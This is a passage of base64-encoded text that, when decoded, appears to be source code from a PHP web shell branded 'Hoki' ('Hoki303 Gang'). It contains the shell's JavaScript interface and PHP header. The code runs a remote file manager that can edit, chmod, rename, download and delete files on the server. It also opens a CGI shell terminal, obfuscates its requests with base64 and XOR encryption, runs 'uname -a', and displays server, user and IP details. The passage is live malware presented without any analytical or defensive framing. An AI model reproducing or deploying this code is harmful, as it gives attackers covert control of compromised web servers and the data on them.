bInBocGV2YWwtIitvXS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGUucXVlcnlTZWxlY3Rvcigic2VsZWN0LmFjZS10aG
VtZS1zZWxlY3RvciIpLnZhbHVlPWksZS5xdWVyeVNlbGVjdG9yQWxsKCIuYWNlLWNvbnRyb2xlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImFjZV9pZCIsInBocGV2YWwtIitvKX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvd
XQoZnVuY3Rpb24oKXtob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX19ZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGUsYSx0LGkpe3ZhciBsPSIiO3QmJjAhPXQmJihsPXQp
O3ZhciBvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO28uaW5uZXJIVE1MPSI8ZGl2IGlkPSciK2UrIicgY2xhc3M9J2hpc3RvcnknIG9uQ2xpY2s9J3Jlb3Blbih0aGlzKTsnPjxkaXYgY2xhc3M9J2VkaXRvci1pY29uJz4iK2xvYWRUeXB
lKGEsaSxlKSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IithKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsb3NlJyBvbkNsaWNrPSdyZW1vdmVIaXN0b3J5KFwiIitlKyJcIik7Jz5YPC9kaXY+IixvLmNsYX
NzTmFtZT0iZmlsZS1ob2xkZXIiK2wsby5hZGRFdmVudExpc3RlbmVyKCJtb3VzZW92ZXIiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3ZlciIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIxIn0pLG8uYWRkRXZlbnRMa
XN0ZW5lcigibW91c2VvdXQiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3V0IiksdGhpcy5jaGlsZE5vZGVzWzFdLnN0eWxlLm9wYWNpdHk9IjAifSk7dmFyIHI9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJoaXN0b3J5LWxpc3QiKVsw
XTtyLmluc2VydEJlZm9yZShvLHIuZmlyc3RDaGlsZCl9ZnVuY3Rpb24gbG9hZFR5cGUoZSxhLHQpeyJub25lIj09YSYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2ZpbGV0eXBlIikrIiZwYXRoPSIraG9raWI2NChlZGl0b3JfZmlsZXN
bdF0ucHdkKSsiJmFyZz0iK2hva2liNjQoZWRpdG9yX2ZpbGVzW3RdLmZpbGUpLGZ1bmN0aW9uKGUpeyQodCkuaW5uZXJIVE1MPSI8ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShlZGl0b3JfZmlsZXNbdF0uZmlsZSxlLHQpKyI8L2
Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZmlsZS1uYW1lJz4iK2VkaXRvcl9maWxlc1t0XS5maWxlKyI8L2Rpdj4iLGVkaXRvcl9maWxlc1t0XS50eXBlPWV9KTtpZigiZmlsZSI9PWEpe2E9KGE9ZS5zcGxpdCgiLiIpKVthLmxlbmd0aC0xXS50b0xvd
2VyQ2FzZSgpOy0xPT1bImpzb24iLCJwcHQiLCJwcHR4IiwieGxzIiwieGxzeCIsIm1zaSIsImNvbmZpZyIsImNnaSIsInBtIiwiYyIsImNwcCIsImNzIiwiamF2YSIsImFzcHgiLCJhc3AiLCJkYiIsInR0ZiIsImVvdCIsIndvZmYiLCJ3b2ZmMiIs
IndvZmYiLCJjb25mIiwibG9nIiwiYXBrIiwiY2FiIiwiYnoyIiwidGd6IiwiZG1nIiwiaXpvIiwiamFyIiwiN3oiLCJpc28iLCJyYXIiLCJiYXQiLCJzaCIsImhva2kiLCJneiIsInRhciIsInBocCIsInBocDQiLCJwaHA1IiwicGh0bWwiLCJodG1
sIiwieGh0bWwiLCJzaHRtbCIsImh0bSIsInppcCIsInBuZyIsImpwZyIsImpwZWciLCJnaWYiLCJibXAiLCJpY28iLCJ0eHQiLCJqcyIsInJiIiwicHkiLCJ4bWwiLCJjc3MiLCJzcWwiLCJodGFjY2VzcyIsInBsIiwiaW5pIiwiZGxsIiwiZXhlIi
wibXAzIiwibXA0IiwibTRhIiwibW92IiwiZmx2Iiwic3dmIiwibWt2IiwiYXZpIiwid212IiwibXBnIiwibXBlZyIsImRhdCIsInBkZiIsIjNncCIsImRvYyIsImRvY3giLCJkb2NtIl0uaW5kZXhPZihhKSYmKGE9Im5vdGZvdW5kIil9ZWxzZSBhP
SJmb2xkZXIiO3JldHVybic8aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy97dHlwZX0iIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+Jy5yZXBsYWNlKCJ7dHlwZX0iLGErIi5wbmciKX1mdW5jdGlvbiB1cGRhdGVGaWxlRWRpdG9y
KGUsYSl7dmFyIHQ9ImlkXyIrZSxpPSJpZF9jaG1vZGVfIitlLGw9ImlkX3JlbmFtZV8iK2Usbz0iaWRfdG91Y2hfIitlLHI9ImlkX2VkaXRfIitlLG49ImlkX2Rvd25sb2FkXyIrZSxkPSJpZF9kZWxldGVfIitlLHM9JCh0KS5nZXRBdHRyaWJ1dGU
oImZ0eXBlIik7ImZvbGRlciI9PXMmJihzPSJkaXIiKSwiZmlsZSI9PXM/KCQodCkuaW5uZXJIVE1MPWEsJCh0KS5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIithKSwkKHQpLnNldEF0dHJpYnV0ZSgib2
5jbGljayIsImVkaXRvcignIithKyInLCdhdXRvJywnJywnJywnJywnZmlsZScpIiksJChyKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnZWRpdCcsJycsJycsJycsJyIrcysiJykiKSwkKG4pLnNldEF0dHJpYnV0ZSgib
25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKSk6KCQodCkuaW5uZXJIVE1MPSI8Yj58ICIrYSsiIHw8L2I+IiwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzTWFuJywgJyIrY18rIi8i
K2ErIicpIikpLCQoaSkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2NobW9kJywnJywnJywnJywnIitzKyInKSIpLCQobCkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ3JlbmFtZScsJycsJyc
sJycsJyIrcysiJykiKSwkKG8pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCd0b3VjaCcsJycsJycsJycsJyIrcysiJykiKSwkKGQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW
91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKSwkKHQpLnNldEF0dHJpYnV0ZSgiZm5hbWUiLGEpfWZ1bmN0aW9uIHVwZGF0ZURpcnNFZGl0b3IoZ
SxhKXt2YXIgdD1kLm1mLmMudmFsdWUrIi8iLGk9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrYSsiLyIsbD1lZGl0b3JfZmlsZXNbZV0ucHdkKyIvIitlZGl0b3JfZmlsZXNbZV0uZmlsZSsiLyI7Zm9yKHZhciBvIGluIGk9aS5yZXBsYWNlKC9cL1wv
L2csIi8iKSxsPWwucmVwbGFjZSgvXC9cLy9nLCIvIiksLTEhPSh0PXQucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGluaXREaXIodC5yZXBsYWNlKGksbCkpLGQubWYuYy52YWx1ZT10LnJlcGxhY2UoaSxsKSksZWRpdG9yX2ZpbGV
zKXt2YXIgcj1lZGl0b3JfZmlsZXNbb10ucHdkKyIvIjstMSE9KHI9ci5yZXBsYWNlKC9cL1wvL2csIi8iKSkuc2VhcmNoKGkpJiYoZWRpdG9yX2ZpbGVzW29dLnB3ZD1yLnJlcGxhY2UoaSxsKSl9dXBkYXRlQ29va2llRWRpdG9yKCl9ZnVuY3Rpb2
4gdXBkYXRlQ29va2llRWRpdG9yKCl7c2V0Q29va2llKCJob2tpX2hpc3RvcnlfZmlsZXMiLGJ0b2EoSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSksMjAxMil9ZnVuY3Rpb24gc2V0RWRpdG9yVGl0bGUoZSxhKXtpZigib3V0Ij09YSYmIiIhP
WVkaXRvcl9jdXJyZW50X2ZpbGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpO2U9bnVsbCE9dD90LmdldEF0dHJpYnV0ZSgib3B0X2lkIikucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8i
LCJmaWxlXyIpOmVkaXRvcl9jdXJyZW50X2ZpbGV9ZWRpdG9yX2ZpbGVzW2VdJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTD0oZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2V
dLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKX1mdW5jdGlvbiByZW1vdmVIaXN0b3J5KGUpe2RlbGV0ZSBlZGl0b3JfZmlsZXNbZV0sJChlKSYmJChlKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlKS5wYXJlbnROb2RlKT
t2YXIgYT1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZpbGVzdG9vbHMiKVswXTthJiZhLmdldEF0dHJpYnV0ZSgiZmlkIik9PWUmJihhLm91dGVySFRNTD0iIiksZWRpdG9yX2N1cnJlbnRfZmlsZT09ZSYmKGVkaXRvcl9jdXJyZW50X2ZpbGU9I
iIpLHVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIGdldFJhbmRvbShlKXtmb3IodmFyIGE9IiIsdD0iMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiLGk9dm9pZCAwPT09ZT8y
MDplO2k+MDstLWkpYSs9dFtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqdC5sZW5ndGgpXTtyZXR1cm4gYX1mdW5jdGlvbiByZW9wZW4oZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImlkIiksdD1lZGl0b3JfZmlsZXNbYV0ucHdkLGk9ZWRpdG9yX2Z
pbGVzW2FdLmZpbGUsbD0iZWRpdG9yX3NvdXJjZV8iK2EucmVwbGFjZSgiZmlsZV8iLCIiKTtudWxsPT0kKGwpP2VkaXRvcihpLCJhdXRvIiwiIix0LGEpOmVkaXRvclRhYkNvbnRyb2xsZXIobCwhMCl9ZnVuY3Rpb24gY29weVRvQ2xpcGJvYXJkKG
Upe2U9ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpO3ZhciBhPWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi50b0pTT04oKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3RBbGwoKSxob2tpX2FjZV9lZGl0b3JzLmVka
XRvcltlXS5mb2N1cygpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5IiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0aW9uLmZyb21KU09OKGEpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJ0ZXh0IGNvcGllZCIsIkVkaXRvciIpfWZ1
bmN0aW9uIGVuY3J5cHQoZSxhKXtpZihudWxsPT1hfHxhLmxlbmd0aDw9MClyZXR1cm4gbnVsbDtlPWhva2liNjQoZSwhMCksYT1ob2tpYjY0KGEsITApO2Zvcih2YXIgdD0iIixpPSIiLGw9MDtsPGUubGVuZ3RoOylmb3IodmFyIG89MDtvPGEubGV
uZ3RoJiYodD1lLmNoYXJDb2RlQXQobCleYS5jaGFyQ29kZUF0KG8pLGkrPVN0cmluZy5mcm9tQ2hhckNvZGUodCksISgrK2w+PWUubGVuZ3RoKSk7bysrKTtyZXR1cm4gaG9raWI2NChpLCEwKX1mdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpe3JldH
VybiBob2tpbG9hZGVyKGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCwiYmxvY2siKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoZS5wcm90ZWN0LnZhbHVlKSsiJmhva2kyPSIraG9raWI2NChlL
mxncGFnZS52YWx1ZSkrIiZob2tpMz0iK2hva2liNjQoZS51c2VybmFtZS52YWx1ZSkrIiZob2tpND0iK2hva2liNjQoZS5wYXNzd29yZC52YWx1ZSkrIiZob2tpNT0iK2hva2liNjQoIj4+IikrIiZob2tpNj0iK2hva2liNjQoZS5pY29uLnZhbHVl
KSsiJmhva2k3PSIraG9raWI2NChlLnBvc3RfZW5jcnlwdC52YWx1ZSkrIiZob2tpOD0iK2hva2liNjQoIm1haW4iKSsiJmhva2k5PSIraG9raWI2NChlLmNnaV9hcGkudmFsdWUpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInR
ydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcE9wVGlvbnMoYSxlKSxldmFsSlMoZSksaG9raWxvYWRlcihhLCJub25lIil9LCExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCksaG9raV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLDA9PWUuZS52YW
x1ZSYmMT09ZS5wcm90ZWN0LnZhbHVlJiZzZXRUaW1lb3V0KCJsb2NhdGlvbi5yZWxvYWQoKSIsMWUzKSxlLnMudmFsdWUhPWUuaWNvbi52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksITF9ZnVuY3Rpb24gcmVsb2FkQ
29sb3JzKGUpe3ZhciBhPXt9O3ZvaWQgMD09PWU/ZC5xdWVyeVNlbGVjdG9yQWxsKCIuY29sb3JzX2lucHV0IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IikucmVwbGFjZSgiLiIsIiIpO2FbdF09ZS52
YWx1ZX0pOmE9ZTt2YXIgdD0kKCJ1c2VfZGVmYXVsdF9jb2xvciIpLmNoZWNrZWQ/IjEiOiIwIjtfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoSlNPTi5zdHJpbmdpZnkoYSkpKyImaG9raTI9Iit
ob2tpYjY0KCI+PiIpKyImaG9raTM9Iitob2tpYjY0KHQpKyImaG9raTg9Iitob2tpYjY0KCJjb2xvciIpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInRydWUiKSxmdW5jdGlvbihlKXtldmFsSlMoZSl9LCEwKX1mdW5jdGlvbi
Bob2tpYjY0KGUsYSl7cmV0dXJuIHZvaWQgMCE9PWF8fDA9PXBvc3RfZW5jcnlwdGlvbl9tb2RlP3dpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChlKSkpOmVuY3J5cHQoZSwiPD9waHAgZWNobyBfX0hPS0lfU0VDUkVUX0tFW
V9fOyA/PiIpfWZ1bmN0aW9uIGV2YWxDc3MoZSl7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3R5bGUiKTthLnN0eWxlU2hlZXQ/YS5zdHlsZVNoZWV0LmNzc1RleHQ9ZTphLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2Rl
KGUpKSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYSl9ZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oYSl7Y29sb3JIYW5kbGVyKGUpfSwyMDApfWZ1bmN0aW9uIGNvbG9
ySGFuZGxlcihlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksdD1lLmdldEF0dHJpYnV0ZSgibXVsdGkiKSxsPWEuaW5kZXhPZigiOmhvdmVyIik7aWYodCl7dmFyIG89SlNPTi5wYXJzZShhdG9iKHQpKSxyPSIiO2ZvcihpIGluIG8ubX
VsdGlfc2VsZWN0b3Ipcis9aSsieyIrby5tdWx0aV9zZWxlY3RvcltpXS5yZXBsYWNlKC97Y29sb3J9L2csZS52YWx1ZSkrIn0iO2V2YWxDc3Mocil9LTE9PWx8fHQ/KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJ
CgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsIi5oZWFkZXJfdmFsdWVzIj09YSYmKGE9Ii5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoYSkuZm9yRWFjaChmdW5jdGlvbihhKXthLnN0eWxl
LmNvbG9yPWUudmFsdWV9KSk6KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsZXZhbENzcyhhKyJ7Y29sb3I6ICIrZS52YWx1ZSsiO30iKSl
9ZnVuY3Rpb24gaW1wb3J0Q29uZmlnKGUpe3ZhciBhPWUudGFyZ2V0LHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgZT10LnJlc3VsdDt0cnl7cmVsb2FkQ29sb3JzKEpTT04ucGFyc2UoZSkpfWNhdGNoKGUpe2FsZXJ0KC
JDb25maWcgaXMgaW52YWxpZC4uLiEiKX0kKCJpbXBvcnRGaWxlQnRuIikudmFsdWU9IiJ9LHQucmVhZEFzVGV4dChhLmZpbGVzWzBdKX1mdW5jdGlvbiBjaGVja0JveChlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD1lLmNoZWNrZWQ7ZC5xd
WVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZD10fSl9ZnVuY3Rpb24gcnVuY2dpKGUpe2lmKCQoImNn
aWZyYW1lIikuc3R5bGUuaGVpZ2h0PSJ1bnNldCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyLW1pbmltaXplZCAubWluaW1pemVkLXRleHQiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQ
tdGl0bGUiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsY2dpX2lzX21pbmltaXplZCYmY2dpX2xhbmc9PWUmJihzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKSwwPT1waHBfdGVtcmluYWxfdXNpbmdfY2dpKSlyZXR1cm4hMTtwaHBfdGVtcmluYWxfdXNpbm
dfY2dpPSExLF9BamF4KGQuVVJMLCJhPSIraG9raWI2NCgiY2dpc2hlbGwiKSsiJmhva2kxPSIraG9raWI2NChlKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIiksZnVuY3Rpb24oYSl7ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLCQoImNna
WxvYWRlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtY29udGVudHMiKS5pbm5l
ckhUTUw9YSxjZ2lfbGFuZz1lLGNnaV9pc19taW5pbWl6ZWQmJigkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksc2V0VGltZW91dChmdW5jdGlvbigpeyQoImNnaWxvYWRlciIpLnJ
lbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKX0sMWUzKSl9KX1FbGVtZW50LnByb3RvdHlwZS5hcHBlbmRBZnRlcj1mdW5jdGlvbihlKXtlLnBhcmVudE5vZG
UuaW5zZXJ0QmVmb3JlKHRoaXMsZS5uZXh0U2libGluZyl9Owo8L3NjcmlwdD4KPD9waHAgZWNobyI8Zm9ybSBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2RsRm9ybScgYWN0aW9uPScnIHRhcmdldD0nX2JsYW5rJyBtZXRob2Q9J3Bvc3QnPgo8a
W5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZGxmaWxlJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9Jyc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2ZpbGUnIHZhbHVlPScnPgo8L2Zvcm0+CjxpbnB1
dCB0eXBlPSdmaWxlJyBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2ltcG9ydEZpbGVCdG4nIG9uY2hhbmdlPSdpbXBvcnRDb25maWcoZXZlbnQpOyc+CjxkaXYgaWQ9J2FfbG9hZGVyJz48aW1nIHNyYz0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20
vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIi5fX3Nob3dpY29uKCdsb2
FkZXInKS4iJz48L2Rpdj4iOwokY21kX3VuYW1lID0gaG9raUV4KCJ1bmFtZSAtYSIsZmFsc2UsZmFsc2UpOwokdW5hbWUgPSBmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpID8gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSA6IChzdHJsZ
W4oJGNtZF91bmFtZSk+MD8kY21kX3VuYW1lOicoIHBocF91bmFtZSApIEZ1bmN0aW9uIERpc2FibGVkICEnKTsKaWYoJHVuYW1lPT0iKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhIil7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hl
YWRlciJdPSJ0cnVlIjt9CmVjaG8gJwo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxkaXYgaWQ9InVwX2Jhcl9ob2xkZXI
iPjwvZGl2Pgo8ZGl2IGNsYXNzPSJ3aG9sZSI+Cjxmb3JtIG1ldGhvZD0icG9zdCIgbmFtZT0ibWYiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im
MiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4nOwpmb3IoJHM9MTskczw9MTA7JHMrKyl7CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhva2knLiRzLiciPic7Cn0KZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY
2hhcnNldCI+CjwvZm9ybT4KPGRpdiBpZD1cJ2hpZGRlbl9zaFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9raXNlcnlvdW5pIj48c3BhbiBzdHlsZT0iY29sb3I6IzQyZmY1OTsiPicuX19IT0tJX0NPREVf
TkFNRV9fLic8L3NwYW4+PGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19IT0tJX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJ
sZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVuYW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPS
JoZWFkZXJfdW5hbWUiPicuJHVuYW1lLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VyOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfd
XNlcmlkIj4nLiAkdWlkIC4gJyBbICcgLiAkdXNlciAuICcgXSA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gR3JvdXA6IDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9ncm91cGlkIj4nIC4gJGdp
ZCAuICcgWyAnIC4gJGdyb3VwIC4gJyBdPC9zcGFuPiA8L3RkPgo8dGQgd2lkdGg9IjEyJSIgcm93c3Bhbj0iOCI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2F
uZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy
5AcGhwdmVyc2lvbigpLiAnIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlIE1vZGU6ICcuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNlcnZlcklQOjwvc
3Bhbj48L3RkPgo8dGQ+PGI+Jy4oIUAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXT8oZnVuY3Rpb25fZXhpc3RzKCJnZXRob3N0YnluYW1lIik/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOic/Pz8/Jyk6QCRfU0VSVkVSWyJT
RVJWRVJfQUREUiJdKS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+WW91ciBJUDo8L3NwYW4+PGI+ICcuQCRfU0V
SVkVSWyJSRU1PVEVfQUREUiJdLic8L2I+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmU7ZGlzcGxheTpub25lOyIgY2xhc3M9ImZsYWctaG9sZGVyIj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZW
FkZXJfdmFycyI+RGF0ZVRpbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvbWFpbnM6PC9zcGFuP
